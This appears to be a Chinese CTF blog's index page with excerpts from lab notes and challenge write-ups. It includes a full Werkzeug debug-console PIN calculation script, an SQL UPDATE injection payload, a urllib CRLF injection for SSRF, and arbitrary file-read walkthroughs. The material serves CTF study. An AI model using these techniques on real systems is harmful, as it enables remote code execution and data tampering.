[靶场笔记]第二十章

$_SERVER[‘QUERY_STRING’] 接收url中?后面面的内容,如果你传index.php?a=1&b=2,此时这个变量就是a=1&b=2 ||替代or 在盲注时可以用 file_get_contents($text,‘r’) 写题的时候看到的….原句如下 file_get_contents($text,'r')==="welcome to the 504sys" 研究后发现这个’r’并没有什么用,直接data:text/plain,welcome to the 504sys秒了 flask_pin 经常在flask题碰到/console路径下的命令执行界面,但不知道怎么利用,刚好碰到一题,记录一下 /console是werzeug带的,需要在flask的debug模式下才有这个页面 需要结合文件读取,将下面带注释的地方贴上从靶机读出来的内容即可 import hashlib from itertools import chain probably_public_bits = [ 'root',# username,读/etc/passwd或/proc/1/environ 'flask.app',# modname,默认 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),绝对路径,在flask报错页面就有 ] private_bits = [ '2485376928819',# str(uuid.getnode()), 读/sys/class/net/ens33(eth0)/address 'c31eea55a29431535ff01de94bdcf5cf51cecdfe211e2cbcc4aceca8644578f88343f0fd029190f1c720bc759b24ef6b'# get_machine_id(), /etc/machine-id加上 /proc/self/cgroup 两个值拼接 ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv) 有关flask pin码的生成分析可以看这里,Werkzeug更新带来的Flask debug pin码生成方式改变看这里 ...

September 23, 2024 · 1 min · Red

红包题第四期WP-答案竟在派蒙中

Misc-答案竟在派蒙中 解题过程: FLAG1: 根据题目提示把派蒙拉开,全选后可以看到有白色字符被选中 更改颜色后是一串以等号结尾的编码 解码得到flag FLAG2: 文档的内容可以确定没有挖掘的内容了,接下来对文件本身进行分析 可以用010editor工具进行分析结构 由于docx文件的本质其实是zip压缩文件,但504B0506(zip文件的结束标志)之后依然有数据可以判断文件后方被写入的隐写文件(出题人当时傻逼了忘了是怎么藏的来着,记成是放里面了) kali的binwalk指令也可以得到一样的结果 可以在010中手动分离文件,也可以用foremost分离 (注意这种压缩包套娃的题binwalk -e有几率出现分不出来的情况所以这里用foremost) 分离后的压缩包解压得到小恐龙一只 这里可以用cat指令查看文件(同理010editor或者记事本打开也可以看到信息) 另一个以等号结尾的编码,根据特征判断是base32编码 解码后得到类flag格式的玩意 由于格式相近推测是凯撒移位加密 枚举后得到flag 尾注: 关于base家族的特征和其它编码推荐一篇文章 https://cloud.tencent.com/developer/article/1748394 https://www.bilibili.com/video/BV1GJ411x7h7

September 22, 2024 · 1 min · Red

[靶场笔记]第十九章

call_user_func 在官方文档中有这种用法 <?php namespace Foobar; class Foo { static public function test() { print "Hello world!\n"; } } call_user_func(__NAMESPACE__ .'\Foo::test'); call_user_func(array(__NAMESPACE__ .'\Foo', 'test')); ?> 这个函数可以直接调用类中的静态方法,比如 call_user_func('Foo::test'); update注入 一种比较少见的sql注入 具体用法如下 如果不加where条件就能把整个字段的值都改掉,一般碰到改价格买东西的题目就会用到 如果碰到像上面这张情况可以用大小写同时用的方法绕过(不得不说对SQL注入的过滤用黑名单真的是很傻的办法= =)下面是一个payload示例 1';UPdATE%09items%09SeT%09price=1;# %09是tab,堆叠+大小写混用就能用了 python urllib头注入 一个16年的漏洞,影响版本是python 2.7.16以下和python 3.7.3以下。 以下面这个场景为例 import urllib2 import sys url=sys.argv[1] result=urllib2.urlopen(url) print result.read() 在url被赋值http://127.0.0.1时,服务端会接收到一个正常的http请求包。但如果赋值是http://127.0.0.1/%0d%0a123时,则会被换行插入一个123,如下图 漏洞原理是urllib在解析url时。接受URL编码的值。会包含在HTTP数据流中 因此我们就可以利用这点来实现对内网服务的CSRF,比如在内网的redis,就能通过这点来实现修改账号密码 python命令行参数接收 在看头部注入的wp时学到的,以下面这段代码为例 #1.py import urllib2 import sys url=sys.argv[1] result=urllib2.urlopen(url) print result.read() 在命令行中输入python 1.py http://127.0.0.1/,url的值就会被赋上http://127.0.0.1/ 关于 Content-Type:application/x-www-form-urlencoded 和 Content-Type:multipart/related 这里记录一个链接 https://www.cnblogs.com/taoys/archive/2010/12/30/1922186.html 127.0.0.1和0.0.0.0的区别 直接上结论,127.0.0.1 是一个环回地址。并不表示“本机”。0.0.0.0才是真正表示“本网络中的本机”。 ...

June 30, 2024 · 1 min · Red

CISCN 2019华北Day1 web1

一道很适合新手入门完整网站项目漏洞挖掘的题目,网上wp多半只讲了利用链和exp,我会从网站逻辑开始分析并写得尽量详细易懂,同样适合新手入门 复现靶场为nssctf,https://www.nssctf.cn/problem/2 搜题号应该也能搜到 文件获取 拿到页面后是个登录框,先注册一个账号登进去看看 进来后是个文件管理的界面 随便传个文件 这里就会涉及到一个任意文件读取的思路。一般一些制作并不是那么精良的网站都会直接使用文件名匹配的方式去读取文件内容从而达到下载的效果,所以我们点击下载的时候抓个包试一下看能不能通过修改文件名从而把原代码下载下来 成功读取。照着这个方法把几个已知页面的代码都读一遍 网站代码逻辑 因为代码比较多,所以这里我这里先介绍一下网站的主要实现逻辑 我的习惯是从主界面也就是index.php开始看调用,在index.php中可以发现下面这段 进入到class.php,查看一下Filelist类 class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } } 从构造函数开始,会发现这里传入了一个path形参 ...

June 28, 2024 · 2 min · Red

SECCON Beginners CTF 2024

打seccon的第一年,为了队友的日本旅行梦,跟他们爆了! WEB ssrforlfi 主要代码如下 import os import re import subprocess from flask import Flask, request app = Flask(__name__) @app.route("/") def ssrforlfi(): url = request.args.get("url") if not url: return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>" # Allow only a-z, ", (, ), ., /, :, ;, <, >, @, | if not re.match('^[a-z"()./:;<>@|]*$', url): return "Invalid URL ;(" # SSRF & LFI protection if url.startswith("http://") or url.startswith("https://"): if "localhost" in url: return "Detected SSRF ;(" elif url.startswith("file://"): path = url[7:] if os.path.exists(path) or ".." in path: return "Detected LFI ;(" else: # Block other schemes return "Invalid Scheme ;(" try: # RCE ? proc = subprocess.run( f"curl '{url}'", capture_output=True, shell=True, text=True, timeout=1, ) except subprocess.TimeoutExpired: return "Timeout ;(" if proc.returncode != 0: return "Error ;(" return proc.stdout if __name__ == "__main__": app.run(debug=True, host="0.0.0.0", port=4989) 其实一开始看到这即过滤localhost又过滤file://的思路很容易被带着跑,就想着要怎么通过域名打ssrf。但是如果仔细看就会发现就算我现在有办法访问到127.0.0.1或者localhost也无济于事,根本不知道下一步要干嘛 ...

June 16, 2024 · 2 min · Red